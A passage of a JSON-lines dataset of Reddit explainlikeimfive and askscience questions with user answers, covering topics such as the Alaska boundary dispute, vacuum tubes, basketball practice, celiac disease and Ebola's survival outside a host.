ukase was issued by Emperor Alexander in 1821 which claimed for Russia:\n > the whole of the north-west coast of America, beginning from Behring Straits to the 51st of northern latitude.\n\nThe ukase also attempted to exclude foreigners from 100 miles of the coast. By this time, Spanish presence on the coast was non-existent as they were battling revolutions in their American colonies. The United States were present in their place.\n\nIn the early 1800s, the United States and Britain were in dispute over the Oregon Territory (U.S.) or Columbia District (U.K.). The area could generally be described as present-day British Columbia and Washington State. The United States signed the Russo-American Treaty of 1824 defining the northernmost U.S. claim as the present-day Alaska-British Columbia southern boundary at 54\u00b040\u2032 north. Britain then signed their own treaty with Russia in 1825, the Treaty of St. Petersburg, which read the following: \n > the said line shall ascend to the north along the channel called Portland Channel as far as the point of the continent where it strikes the 56th degree of north latitude; from this last-mentioned point, the line of demarcation shall follow the summit of the mountains situated parallel to the coast as far as the point of intersection of the 141st degree of west longitude\n\nAfter the Oregon Treaty of 1846 established the Canada-U.S. border at the 49th parallel, Alaska was sold to the U.S. for $7.2 million USD in 1867. The Colony of British Columbia then joined the Dominion of Canada in 1871. Canada wished to define the border in their favour - to give them access to the open sea at points north of Prince Rupert. The U.S. and Canada went to arbitration, settled in 1903, to strictly define the panhandle. In the end, one British tribunal member swung the vote in favour of the U.S., defining the border we see today. Canada refused to sign the decision.\n\nSources:\n\nLightfoot, K.G. (2003) Hist Arch 37: 14. _URL_0_\n\nGreat Britain (1893) Behring Sea Arbitration _URL_1_\n\nFarr, D.M.L. (2006). Alaska Boundary Dispute _URL_2_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://doi.org/10.1007/BF03376620", "https://books.google.ca/books?id=EusnAAAAYAAJ&amp;source=gbs_navlinks_s", "http://www.thecanadianencyclopedia.ca/en/article/alaska-boundary-dispute/"]]}
{"q_id": "fotz1l", "title": "What are the most high resolution closeups of the sun?", "selftext": "I'm curious to know about sun photography and what would be the most extreme close-up pictures of the surface of our sun. It would also be great to get info about the light spectrum + other technical info of the imagery and the scale of what I'm looking at.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fotz1l/what_are_the_most_high_resolution_closeups_of_the/", "answers": {"a_id": ["flhaieq"], "score": [29], "text": ["[The Daniel K. Inouye Solar Telescope](_URL_0_) came online recently and holds the record for the [highest resolution image of the Sun's surface](_URL_1_), which also includes a movie of the surface."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nso.edu/telescopes/dki-solar-telescope/", "https://www.nso.edu/press-release/inouye-solar-telescope-first-light/"]]}
{"q_id": "ciqkjd", "title": "how do vacuum tubes amplify signals?", "selftext": "Was reading about how can a low power satellite will still use vacuum tubes to 'amplify' their signal. How can you passively gain energy just by passing through a vacuum tube? doesn't that defy physics?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ciqkjd/eli5_how_do_vacuum_tubes_amplify_signals/", "answers": {"a_id": ["ev8kvz0", "ev8l0qy", "ev8lapi"], "score": [32, 4, 8], "text": ["If it were just an empty vacuum tube, it wouldn't do anything. What they were likely referring to are [photomultiplier tubes](_URL_0_) (or PMTs).\n\nThe gist behind PMTs is your photon comes in, and knocks off an electron off of say, a silicon atom. The PMT has a voltage applied to it (typically positive in the core, and negative on the outside, or vice versa). That electron gets accelerated by the voltage, knocks off more electrons, those get accelerated, etc, and you get a \"shower\" of electrons. \n\nNow, instead of trying to measure 1 single photon, you have a signal that's ~10^5 or so electrons (or more, depending), which is a reasonable current (nanoamps or so).\n\nThe tubes are designed so that interior, besides the silicon or whatever, is in vacuum. You don't want air molecules or whatever getting in the way.\n\nPMTs are very commonly used for applications where you need to measure individual photons. They give great amplification, and very low noise.\n\nDepending on this specific application, they may not be PMTs (which you have to maintain the voltage, which costs power), but something operating on a similar principle. They aren't empty tubes. There are alternatives like fluorescent chemicals, semiconductors and the like that are more passive in terms of power consumption, but all of them do require *some* input power", "Vacuum tubes consume power, they switch power.  They do this by using a small signal to bias a plate inside the vacuum tube past which the power is trying to flow.  Electrons repel each other and a small number of control electrons can repel lots and lots of power electrons.", "They don't passively gain energy. They get energy from the electronics they're plugged in to, ie a battery. \n\nThe way a vacuum tube amplifies a signal is some complicated relationship between voltage and resistance, where a small change of voltage (caused by the incoming signal) causes a large change in resistance of the circuit inside the tube. \n\nSo something like, a small signal being received by a radio gets amplified into a bigger signal and that bigger signal is easier for other parts of the computer on the satellite to read."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Photomultiplier_tube"], [], []]}
{"q_id": "2wdusc", "title": "if i shoot a basketball, and miss, 1000 times in a row, would i get better because of repetition or would i just develop bad muscle memory?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wdusc/eli5if_i_shoot_a_basketball_and_miss_1000_times/", "answers": {"a_id": ["copx1ak", "copx5i4", "copx6p0", "copxs8a", "copxu0s", "coq0qc3", "coq2ao0", "coq430y", "coq4327", "coq49ds", "coq4dcn", "coq4z5a", "coq52l2", "coq55nr", "coq5blz", "coq5t46", "coq6j3c", "coq71l0", "coq7au6", "coq7ckl", "coq8ttx", "coq9ihe", "coqa29v", "coqaeyu", "coqaltl", "coqaudk", "coqbkaf", "coqc9o8", "coqciui", "coqcybd", "coqe77h", "coqetkb", "coqfstk", "coqftwi", "coqhipr", "coqhna6", "coqixuf", "coqj455", "coqj5tp", "coqjico", "coqmqa1", "coqoawg", "coqofmb", "coqohus", "coqp79j", "coqros9", "coqsgyn", "coqsim5"], "score": [3, 2291, 23, 3, 473, 2, 4, 46, 14, 53, 11, 6, 1348, 8, 2, 3, 2, 5, 2, 5, 2, 2, 2, 2, 4, 2, 9, 3, 3, 4, 2, 3, 2, 3, 2, 6, 2, 2, 2, 3, 2, 6, 3, 2, 3, 2, 2, 2], "text": ["You must be doing something wrong, I would think, to miss 1000 times in a row. If you're doing something wrong over and over, yep, you're training yourself for failure.", "Practice doesn't make perfect, practise makes permanent.\n\nIf you have enough understanding and feedback to refine the movement, you'll improve.\n\nMissing one thousand times would suggest you weren't improving the movement, either because you're moving randomly (not so bad) our because you're repeating a movement that is ineffective/wrong (bad, because you'd have to train yourself out of the bad habit, which is harder than training it in the first place)", "Every shot you take you would adjust your aim or alter your technique. Unless you didn't change your technique at all would you develop muscle memory. If you do get the shot then you could get into a bad technique like a habit if you practice it repeatedly. That bad technique could prevent you from scoring in different situations. ", "It's not \"practice makes perfect\". It's perfect practice makes perfect.", "I think golf is the perfect analogy for this.  It is perfectly possible to play golf terribly for years forming habits that are extremely difficult to change.  (Speaking from experience).", "Shawn Marion has horrible shooting form but he is still a career NBA player with decent fg%", "\"Practice doesn't make perfect. Only perfect practice makes perfect.\" - Vince Lombardi", "If you missed 1000 times in a row, you are probably standing too far away from the basketball hoop", "\"You miss one hundred percent of the shots you dont take\" - Wayne Gretzky ", "This may have no hope of getting votes but I think it's interesting that you used basketball as an example.  There are many examples of NBA players forging successful careers for themselves despite having *horrible* shooting form.  Your example of course involves missing 1000 times.  But really that'll never happen even with absolutely atrocious shooting form.  Eventually you'll start adjusting your shot until you've perfected your own form, as bad as it may be, and you'll make it work.  Here are some examples of quality NBA players that have done just that.  They most likely never had a shooting coach and just kept shooting this way because it worked for them.\n\n[Joakim Noah](_URL_2_)\n[Chuck Hayes](_URL_1_)\n[Shawn Marion](_URL_0_)\n\nBasically, you would get better from repetition, as has been proven by *many* NBA players who were good enough to make it in the league despite having bad shooting form.", "It really depends on why you're missing.\n\n^This actually happened to me. When I was a teenager I would go for a walk to my local court where NO ONE went. Instead of shooting I decided to try dunking. I did it so often my shins started really hurting (this is over months). I couldn't succeed. The ball would always go flying away and I couldn't understand why.\n\nThen one day I decided, kind of on a lark, to take TWO steps instead of the big running head start I had always done. I dunked easily. I had been going so fast the ball kept flying out of my hand, hitting the back of the rim and bouncing out. But those zillions of times got me able to palm the ball, jump (much) higher, and other skills.", "_URL_0_\nYou should ask this guy. ", "I'm a professional musician, so this is one that I see and deal with personally every day.  People love to throw around the idea of 10,000 hours, but if you spend those 10,000 hours doing it wrong, you won't be a master at the end.  You'll just be really good at doing it badly.\n\nYou have to practicing doing it correctly.  There are also diminishing returns to practice in a given session that are readily apparent for someone practicing music at a high level, but maybe not apparent to those who practice sports.  \n\nYou can practice doing it right, but as your brain and muscles fatigue, if you keep going, you're only going to start practicing in your mistakes.  In music you should always make your last past slow and controlled.  There is something to be said for the way your brain makes connections while you're away from an activity.\n\nIn fact, it's better to practice 6 different things for 10 minutes than 1 thing for 60 minutes.  Amazingly, after rest and your brain having time to make the connections, 1 10 minute session will have similar or even superior results the next day.  It's almost magical to see something that was hard even at the end of a session on one day just be easier the next day.  But hammering it for an hour is more likely to cause you to walk away after tons of mistakes due to mental fatigue and you'll be fighting the whole way through.\n\nWhen practicing a very specific skill, you should hit it for little bursts, take a break and come back to do it again.  If there are lots of smaller skills involved in what you're doing, you should practice them equally.  So for basketball, don't spend an hour on free-throws.  Mix it up between free-throws and whatever other sport things goes in there (sorry, not much of a basketball guy).\n\nAt the very least, you'll get more out of several short sessions than one long one.  You'll also get more out of 10 minutes every day than 1 hour once a week.\n\nSadly, in music, far too many students and even teachers don't fully comprehend how this works.  It's partially due to the fact that people who have already achieved a high level of skill either did it when they were so young as to not realize the process involved (e.g. they can't remember when it was hard), or they were just naturally talented, so they've never had trouble with a particular thing and end up giving poor advice due to ignorance of how to solve a problem they've never encountered.", "The answer to your question is that it depends entirely on what manner of practice you are participating in. The type of practice that best enhances skill through repetition is called *deliberate* practice - deliberate practice involves making a conscious effort to focus on a specific aspect of the skill during each repetition. With shooting a basketball this could be the angle of the shooting arm, the placement of the off hand, the point of release, the flick of the wrist and follow-through of the hand, spacing between the feet, or any other mechanical adjustment you can make to a jump shot (or set shot). If you have an idea of the \"proper\" manner in which these mechanics should be executed and you are actively focusing on them individually for extended periods within your practice, saying to yourself \"for these 50 shots I will focus on getting a nice rotation on the ball, the 50 after that will be focused on keeping my shooting arm tucked in, while the next 50 will be focused on squaring up my shoulders with the basket\" your shot may improve despite all the misses. Of course missing 1000 times in a row is an impressive feat in itself, and I would think you would have to be really trying to miss in order to string together such a bleak result. \n\nSource: Have Bachelor's of Health and Phys. Ed.that I rarely get to apply. ", "Ask Steph Curry.\n\nIt's not about the form but about repetition.", "I think it depends on if you are trying to miss or not.", "From a motor learning theory standpoint your question doesn't really make sense, here's why: if you are in fact trying to get the ball into the hoop, statistically you won't miss 1000 times in a row. Every few throws you are bound to get it in or to at least get close and whenever that happens you begin to learn how to throw.\n\n Now, that said there are three stages of motor learning, first you are consciously thinking about how to position yourself, how to throw the ball, etc. This is the cognitive stage. In this stage you are unlikely to get the ball in, rather you are figuring in what ways to move (there are a lot of ways to throw the ball) to achieve your goal. Everytime you get the ball in, or close, you begin to take note of the way your body needs to move to be successful. The second stage is the associated stage, in this stage you are not consciously thinking of all the specifics anymore, your refining the movement subconsciously through receiving intrinsic feedback and extrinsic feedback (this is where muscle memory starts to build). The final stage is the autonomous stage, where you can automatically shoot and have a pretty good chance of getting that ball in because the \"muscle memory\" you have acquired is very strong. Of course this is all a very simplified explanation and there are all types of neurological processes happening when people learn new movements for the first time. Try to think about learning to drive, first you had to learn where the controls were, how much to push the gas, how far to turn the wheel. Once you learned all this, you were able to focus on refining your driving, staying in the lanes, turning more smoothly. Finally you reached the point where driving is automatic and you can pretty much do it without a second thought. \nHope this explanation helps although its not directly answering your question.", "I'd say that like Edison, you've discovered 1000 ways **not** to shoot a basketball", "as someone who practiced incorrect form and still developed a deadly jump shot, yes you should be better.\n\nhowever, it's unrealistic to miss a 1000 times in a row. to do that means you don't possess the physical ability to make a jump shot.", "Regardless of what everyone else is saying, you would get better. As you observe the ball, your brain will pick up on the physics of it even if you miss. As long as you are trying and paying attention, you're going to walk away with a better understanding of how the ball interacts with the world and thus a better understanding of how to get it into the hoop. ", "If you know what a proper shot looks like, and what a successful result is; and you're realizing that you've come up short of your goal, you aren't creating the feedback loop that reinforces it as correct.  You're actually reinforcing it as incorrect.\n\nIn order to avoid reinforcing the bad shot you need a few things:\n\n-you need to know what a successful result is\n\n-you need enough knowledge and skill to see and feel that your result was unsuccessful.\n\n-if you don't have enough ability and knowledge to tell that your results are incorrect, AND you're telling yourself how great you're doing, you will reinforce the bad shot.\n\nThis is why, when we teach skiing, that an achievable and a skill level appropriate demonstration is paramount.  It informs the athlete of the correct result so that he can create that feedback loop in his own head about whether or not he achieved his goal. \n\nWe also add reinforcing on top, where the athlete may have achieved a desirable result but wasn't able to identify it.  That's best followed up with some recall visualization.\n\nIt's been described on reddit before in terms of singers on talent shows.  Someone bad enough at something can't tell they're bad at it.  You need to demonstrate the successful result in a way that they can measure their own results against it.\n\nIf you thought that a successful basketball shot was to hit the square on the backboard without it going through the hoop, and you practiced that result, all the while telling yourself that you're doing great, and scolding yourself for letting it fall in the hoop, you would make your shot worse.\n\nBut you know what a basket ball shot is supposed to be by everyone else's standards.\n\nAll about the self evaluation.\n\n", "Are you missing on purpose or because you're not good yet? If the first then bad muscle.memory. if the second then you'll get better but you may want to keep your day job.", "If we are specifically talking about basketball, you can have the ugliest form but it doesn't matter as long as you make the shot. So if you are missing 1000 times in a row, probably some change is required. No point forcing that shooting form if you can't make it. There are plenty of nba players with unorthodox shooting methods and still makes lots of shot. Kevin Martin, Reggie Miller and Shawn Marion comes to mind. Players like Michael Kidd Gilchrist can shoot all he want, and he's still a terrible shooter. So yes you would need to change your form or else you would develop a real bad muscle memory for bad shooting habit.", "Muscle memory is really the memory of the area of your brain that controls those muscles. It's still brain memory when you really look at it.", "I don't think I've seen a response talking about the Brain or physiology so I'll take a stab at this:\n\nFirst of all, muscle memory isn't technically a thing. It's a bit of a misnomer, since your muscles can't remember anything. It's all about brain activity. \n\nLet's pick an activity I bet you're a master at - brushing your teeth. You've done this so many times I bet you can do 10 things at once while brushing your teeth - combing your hair, plucking your eyebrows, whatever.\n\nHowever, if you were to look at a 2 year old brushing his teeth, you would notice a couple things. For one, he couldn't do other tasks simultaneously. It also wouldn't look as \"masterful\" - he'd use a lot of choppy motions, and would probably use too much or not enough necessary force on his teeth.\n\nThe difference between you and a two year old brushing your teeth is you've done it by yourself over 10,000 times and he's done it only a handful. If you were to look at a brain scan of the two of you, you would notice that the 2 year old would have a lot of his brain lighting up, while for you there would only be a few colorful specks. This means that the brain works much harder in the two year old than in you. \n\nIf you do anything over and over again you aren't developing \"muscle memory,\" you're essentially training your brain to dedicate less work to that specific task, and allowing it to be open to focus on other things. This is why athletes are encouraged to avoid overthinking, or \"don't aim just throw.\" Your brain and Spinal Cord coordinate all your movements, so the less work the brain has to do for an action, the easier it is to do. ", "I guess that's true, if your goal is to miss not to score. If you were trying to score, you have to be retarded to miss 1000 times.", "Former University Basketball player here. The answer to your question is deeper than you may want to go. It would be extremely unlikely to go out and shoot a basketball and miss 1000 times in a row. You'd have to be trying to intentionally miss for that to occur. \n\nIf we rephrase and you were trying to make shots and have them go in, you would undoubtedly become better even with bad technique. You'd learn how you shot and released and where the ball went using whatever technique you were using. So that's good!\n\nBad muscle memory when shooting isn't immune to practicing (in fact it is perpetuated by bad practice). Many great players don't have good \"classical technique\" (Shawn Marion is a great example) but it works for them! If you were to practice with correct technique it most certainly will have better results than practicing with poor technique, however you will become better with whatever technique you choose regardless.\n\nI could go into more detail but this is ELI5!", "You're learning how to suck and getting really good at it.", "No you'd just get bored of shooting fucking basketballs", "A lot of people have written their own experience of what happens when you practice something badly, but I don't think anyone has really gotten at the meat of your question - the actual explanation part.\n\nTo do that, you need to think about what it is you're doing when you shoot a basketball - what exactly is the \"problem\".\n\nWhat you're doing, fundamentally, when you try to shoot a basketball is you're trying to determine the sequence of motor commands (of muscle movements) that will take you from just standing there to seeing the ball go through the hoop. That's the problem: you need to figure out what motor commands will make the ball go through the hoop.\n\nPractice doing something is not just a matter of simple repetition - if it were, no one would ever *improve* at anything. Practice doing something is a way of gaining information that can be used to *minimize error*.\n\nEvery time you shoot, you can see where the ball ends up. You can tell how close you were to the right sequence of motor commands by how close the ball came to going through the hoop (though this isn't totally straightforward - you need to simultaneously learn what \"close to going through the hoop\" actually is, since it's more complicated than just physical proximity to the hoop). How far you were from making a basket is your *error*. If you overshot it, you also know, more generally (from the same kind of \"practice\" in everday life), that you need to send motor commands that result in less force. So next time you throw, you throw it more gently, then observe the outcome, adjust your next throw, and repeat the whole process again. Over time, this process of experimentation and observation lets you *minimize* that error.\n\nSo what happens if you miss 1000 times? You're not gaining nearly as much information about the correct sequence of motions to get it through the hoop (nor precisely what it looks like for a shot to be closer or further from getting through the hoop). But you're not gaining *nothing*. You're learning where certain sequences of motor commands will put the ball. Imagine you learn a lot about what happens when you put different amounts of torque on your left index finger. You're still missing the basket, but once you learn that you need a different angle of your right arm to get it in the basket, that knowledge about what different amounts of torque on your left index finger does to the ball might be useful. Or it might not be - maybe most of your knowledge about left-index-finger torque doesn't really apply when you change the angle of your right arm (maybe it actually makes you *worse*). Finding the sequence of motor commands to put the ball into the hoop is actually an *enormously* complicated thing to do (which becomes apparent when you try to solve for the required torque to model even very basic movements using human-like mechanics).\n\nIf we can reframe the question, I think it gets clearer: Who will throw a basket sooner, the person who has missed 1000 times or the one who has never practiced at all?\n\nThe answer is that it's unclear. It depends on *how* the person missed. Did they get closer and closer to the basket? Did they get \"stuck\" on some particular bad motor command that, once corrected, will let them shoot baskets with ease thanks to their otherwise greater knowledge of the motor-command-to-basket correspondence? Or did they get \"stuck\" on some particular motor command that gets them close to the basket, but will never actually get them there (this is akin to what is often called the problem of \"local maxima\" (or \"local minima\", depending on how you're talking about the problem)), meaning that a ton of that practice was \"wasted\"? On top of that - what interventions are we allowing? If the person is \"stuck\", someone with greater knowledge might be able to coach them and correct the problem quite easily, but the person themself might take far longer to correct the problem.\n\nThe result of all of this is that there is no actual, simple answer to the question (as is usual with good ELI5 questions) - but hopefully that at least gives you some perspective on *why* the answer isn't simple.", "By 1000 throws if you don't make a single shot then you are so bad as to have defeated probability. I'd suggest retirement.", "Basketball trainer here.\n\nThere are two schools of thought on this.  Some people believe that it doesn't matter what your form is, if you do it enough, you'll get good at it.  Personally, my feeling is that you can reach the most consistent level by practicing good form.  Form that can be easily repeated.  Form with as little excess movement as possible.\n\nAs far as which one is right, I don't have an answer.  I've seen people with shots that rotate sideways that are incredibly consistent.  I've seen people with great form who just can't seem to make a shot consistently.   I do it the way I do it because it allows me to teach one consistent form across all types of players.  Boys, girls, young and old.  \n\nProbably doesn't help, but that's the answer I have.  \n\n\n\n\n\n\n\n\n\n\n\n\n\n", "You would never get better if you didn't learn why the ball didn't go in. What makes repetition useful for improving something isn't that you do it so much that some magic takes over in your brain and fixes it. Way, *way* more important than muscle memory is being able to recognize and avoid what you do wrong. Focus on that and anything you try to practice will get a shit load easier ", "Junior basketball coach here.\n\nWhat my 7 year experience with youngsters has shown, is that it's better to let them develope they're own shooting form. Ofcourse I do make some corrections, as long as he/she gets the basic form going and then just let him/her make the icing on the cake. I see all kinds of different shooting forms, as long as the kid is comfortable with it and is able to make shots it's all OK.\n\nI am not training them to be NBA superstars.", "I've seen a documentary where a professional basketball player would stop shooting hoops on a pratice day of he kept missing so he wouldn't get bad muscle memory. Professional players know what they're doing and have professional trainers that get paid big money.", "If you miss 1000 times in a row, regardless of getting better or worse, I dont think you should try again.", "You'll get better at what you're practicing. In your case, you're practicing missing. So you'll be awesome at missing. Go you. ", "If you missed 1000 times in a row, there is probably something wrong with your brain. Your brain adjusts every time you miss a shot. Even if you were the worst shooter ever, there is almost no way you would miss all 1000 shots. ", "Going with the \"let's talk about actually shooting a basketball\" conversation, you would definitely get better not so much because of muscle memory, but because you'd be building the strength necessary to shoot. Few normal people can hoist up a 1000 shots in a normal practice session. \n\nWith that said, in response to the many who say that form doesn't really matter, I basically agree but with one huge caveat: Pro Shot Shooting System. I have zero affiliation with them except for the fact that they absolutely have hit the mark in terms of specifying what really matters in good shooting form. They have completely debunked myths like \"jump straight up and down\" and \"don't shoot threes until you've fully developed\". Check them out on youtube. \n\nToo many coaches teach what's been taught to them without really examining what works at every level (not just professional). To shift this over to music for a second, it's like trying to learn to play the electric bass by only playing scales written in a book, and never actually learning to play music with a band. (see Victor Wooten's TED talk) ", "Why don't you ask Shaq?", "I played golf at a high level. It's all about how you practice. The term is deliberate practice. You have to be deliberately refining the movement in a way that takes it closer  to the goal and really thinking about that improvement while you do repetitions. So simply taking 1000 shots is not going to do anything in itself.  You have to practice something and you don't \"practice\" an end result, you practice a process. It can be shooting free through a or making putts. Same concept of practice. So if you did not deliberately try to change something you'd probably see little results from 1000 shots. This is why some golfers play their whole life, have one of reps, and suck. If you deliberately practice something which has a net negative effect on your ability to make a shot you'd be worse from your 1000 shots. And if you practiced something worthwhile that improved your movement you would see some marginal amount better. This is why coaching can help because a good coach can identify what is the most needy part of your game and have you work on that rather than trying to grove something that, in the end, is not the biggest contributor to holding you back. So you see results faster from a good coaches ability to tell you what you need to practice. ", "If you missed 1000 times in a row, you couldn't get worse.", "Neuroscientist here so I'll give my perspective. Skill learning is thought to be achieved by a surge of dopamine in the reward centers of the brain that \"cement\" in place the neural activity and behavior that led to that reward. In this case, if you were to have made a basket you probably would have gotten a surge in a dopamine and helped the motor system know the series of movements that led to the dopamine. What about misses though? The dopamine signal is graded and my guess is that near misses (ball bouncing of the rim but not going in) would give you a smaller amount of dopamine that would guide the motor system towards the behavior that almost did what you hoped to achieve and so you would improve. If on the other hand, all 1000 shots were air balls you probably wouldn't get any thing close to that neural reward and you would probably not only not improve but also cement in place those bad motor programs through sheer repetition. ", "It depends on why you were missing the shot. If it was due to a lack of muscle, the practice would be a form of exercise and in a way develop your strength to help you improve.\n\nIf it was just a technique issue, it would be bad, as you'd be developing bad muscle memory. It is a million times easier to correct your technique when you are first learning it, as opposed to having to correct a bad habit you've had for some time.", "Is that you Shaq??", "If you are earnestly trying to sink it you would likely improve. Think of it this way you could play the same golf course forever always trying for a hole in one. \nYou might *never* get that hole in one you would improve your golf.\n\nThe way \"muscle memory\" works is you think of a ideal path ball from your hand to the basket. Each time you throw your brain tries to improve the actual outcome based on the previous attempts. You don't need to make the basket to improve. The way this works is a complex interplay of you frontal lobes telling your motor cortexes what to do with your cerebellum modifying the process in response to information from your joints, muscles, eyes etc.\n\nIf you do well, even if you don't sink it dopamine, mostly in the mid-brain, signifies a reward almost like a jackpot. This cements in your cerebellum what to \"memorize\".\n\nIf on the other hand you miss on purpose you will just get better at missing on purpose.", "Why won't someone post how I can get better at basketball damnit!", "It depends.  1000 is an absurdly large number for you to be learning from your mistakes and still be missing so lets assume in that case you are just exercising a bad technique so you are actually getting worse as in the bad golf habits example.  However if you were a little kid and every time you throw it you get a little closer and you are almost there, then you are surely getting better as you are learning and getting stronger from every throw."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=dNK1w3qUAJM", "https://www.youtube.com/watch?v=eLx-Ei2Pk_Y", "https://www.youtube.com/watch?v=sCBVN8xTCZ0"], [], ["https://www.youtube.com/watch?v=bpyX5E1tARk"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "22vbae", "title": "what gives women that \"pregnancy glow\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22vbae/eli5_what_gives_women_that_pregnancy_glow/", "answers": {"a_id": ["cgqqhyh"], "score": [3], "text": ["Hormone changes during pregnancy are what give the \"pregnancy glow\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ofwr3", "title": "how do public schools make money? do they profit?", "selftext": "Okay- I know our taxes and local governments provide the money--but how much--what percentage?  And how is this determined?  How do wealthier communities differ from less wealthy communities? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ofwr3/elif_how_do_public_schools_make_money_do_they/", "answers": {"a_id": ["cmmr849"], "score": [6], "text": ["Public schools are not a business, its a service the government provides.  In the US most public schools are funded primarily through property taxes of the local area (or school district).\n\nSo are they different in rich vs poor areas? Absolutely.  Rich areas often pay far higher property taxes, and as such, schools have far more money and can provide more and better services.  Also rich people would not tolerate anything but they best, so they make sure it happens or their local politicians sure aren't getting reelected.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1vfm5y", "title": "If proteins are denatured in the stomach, how does the protein \"gluten\" trigger an auto-immune response in the intestines of individuals with Celiac disease?", "selftext": "If proteins are denatured in the stomach, how does the protein gluten trigger an auto-immune response in the intestines of individuals with Celiac disease?\n\nIn other words, how and why does an organism's auto-immune response occur in the presence of the \"protein\" gluten after its denaturation?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1vfm5y/if_proteins_are_denatured_in_the_stomach_how_does/", "answers": {"a_id": ["certiel", "ces1e3r", "ces2ife", "cesb2x3"], "score": [37, 5, 3, 3], "text": ["It isn't the full gluten protein that invokes an immune response for those who suffer from celiac disease. Several peptide fragments as a result of enzymatic hydrolysis of gluten invoke an immune response leading to inflammation and other nasty effects in those individuals. \n\nHere is a decent article about it from a couple years ago: _URL_0_", "Biochemist here. Usually someone is characterized as having celiac disease when they can't break down the gluten peptide past a certain point, usually resulting in a 33-mer peptide. This is usually due to a lack of a certain enzyme or hydrolase. About 5 percent of the population has this deficiency.", "To add to some of the comments here, denaturation typically refers to the breaking of non-covalent interactions, ie hydrophobic effect, hydrogen bonds, and other van der waals interactions. The actual peptide sequence remains intact in denaturation, unless it is a non-covalent complex when activated. So, with celiacs disease, the problem isnt really about denaturation.", "To follow up on the good answer by TmaCtheClaP, a [group in 2002](_URL_0_) identified a 33 amino acid peptide that is 1) very resistant to normal proteolysis in the digestive system and 2) highly reactive with transglutaminase, a known enzyme important to celiacs. Usually, your body breaks protein down into 1,2, or 3 amino acid long segments that are transported by dedicated transporters, but your question about something bigger is an excellent one, and there are transport mechanisms for larger peptides that are a bit slower. Here is a paper talking about the process which is also used by [cholera toxin](_URL_1_), but I'm not quite sure what the transport mechanism for the celiac 33-mer would be.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2010/07/100721141840.htm"], [], [], ["http://www.sciencemag.org/content/297/5590/2275.full", "http://ajpgi.physiology.org/content/297/4/G708"]]}
{"q_id": "2cbvtl", "title": "How long can Ebola live outside of a host?", "selftext": "For example, if a person with Ebola has an open cut and touches an item and gets blood on it, how long can Ebola survive on the object? \n\n\nEdit: just found out that there is an AMA starting in /r/science with an expert in Ebola. For those looking for more questions or answers about it, check it out!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2cbvtl/how_long_can_ebola_live_outside_of_a_host/", "answers": {"a_id": ["cjdyr98", "cje6ca4", "cjgtnly"], "score": [85, 2, 3], "text": ["COMMUNICABILITY: Communicable as long as blood, secretions, organs, or semen contain the virus. Ebola virus has been isolated from semen 61 days after the onset of illness, and transmission through semen has occurred 7 weeks after clinical recovery (1, 2).\n\nSURVIVAL OUTSIDE HOST: The virus can survive in liquid or dried material for a number of days (5). Infectivity is found to be stable at room temperature or at 4\u00b0C for several days, and indefinitely stable at -70\u00b0C (3, 4). Infectivity can be preserved by lyophilisation.\n\n >  1.  Plague. (2004). In R. G. Darling,  &  J. B. Woods (Eds.), USAMRIID's Medical Management of Biological Casualties Handbook (5th ed., pp. 40-44). Fort Detrick M.D.: USAMRIID. \n \n >  2.  Acha, P. N.,  &  Szyfres, B. (2003). In Pan american Health Organization (Ed.), Zoonoses and Communicable Diseases Common to Man and Animals (3rd ed., pp. 142-145). Washington D.C.: Pan American Health Organization. \n\n >  3. Mwanatambwe, M., Yamada, N., Arai, S., Shimizu-Suganuma, M., Shichinohe, K.,  &  Asano, G. (2001). Ebola hemorrhagic fever (EHF): mechanism of transmission and pathogenicity. Journal of Nippon Medical School = Nihon Ika Daigaku Zasshi, 68(5), 370-375.\n\n >  4. Evans, A. S.,  &  Kaslow, R. A. (Eds.). (1997). Viral Infections of Humans - Epidemiology and Control (4th ed.). New York, NY: Plenum Publishing Corporation. \n\n >  5.  Leroy, E. M., Rouquet, P., Formenty, P., Souqui\u00e8re, S., Kilbourne, A., Froment, J. -., Bermejo, M., Smit, S., Karesh, W., Swanepoel, R., Zaki, S. R.,  &  Rollin, P. E. (2004). Multiple Ebola Virus Transmission Events and Rapid Decline of Central African Wildlife. Science, 303(5656), 387-390. \n\n\nSource: Public Health Agency of Canada _URL_0_", "What are the likely types of mutations that might occur with the virus if it escapes quarantine in the US? Would exposure to a new and different host environment provoke it to mutate into something more lethal and/or airborne?", "Doctor who treated first Lagos patient now infected . . .\n\nI don't understand how this is possible IF the disease is not very communicable.  The patient died shortly after intake . . . and presumably doctor was wearing gloves, gown, mask, etc. \n\nI also don't understand why the plane he flew to lagos on and the ambulance he was transported in weren't quarantine along with everyone who came in contact with him . . . \n\nIf the doctor got sick with minimal exposure (and forewarned) surely those other folks were in a position to get contaminated.  Anyone who shared the bathroom on the plane, sat next to him on the plane (or in the seat he vacated) assuming he had vomiting and diarrhea which is normal for those patients particularly at the end stage . . .\n\n_URL_0_\n\n_URL_1_\n\nIt looks like we now have effective treatment in that new monoclonal antibody used on the two folks transported to the US.  But I still find it troubling that this guys doctor was infected at all . . .\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.phac-aspc.gc.ca/lab-bio/res/psds-ftss/ebola-eng.php"], [], ["http://www.cbsnews.com/news/ebola-death-toll-jumps-to-887-in-west-africa/", 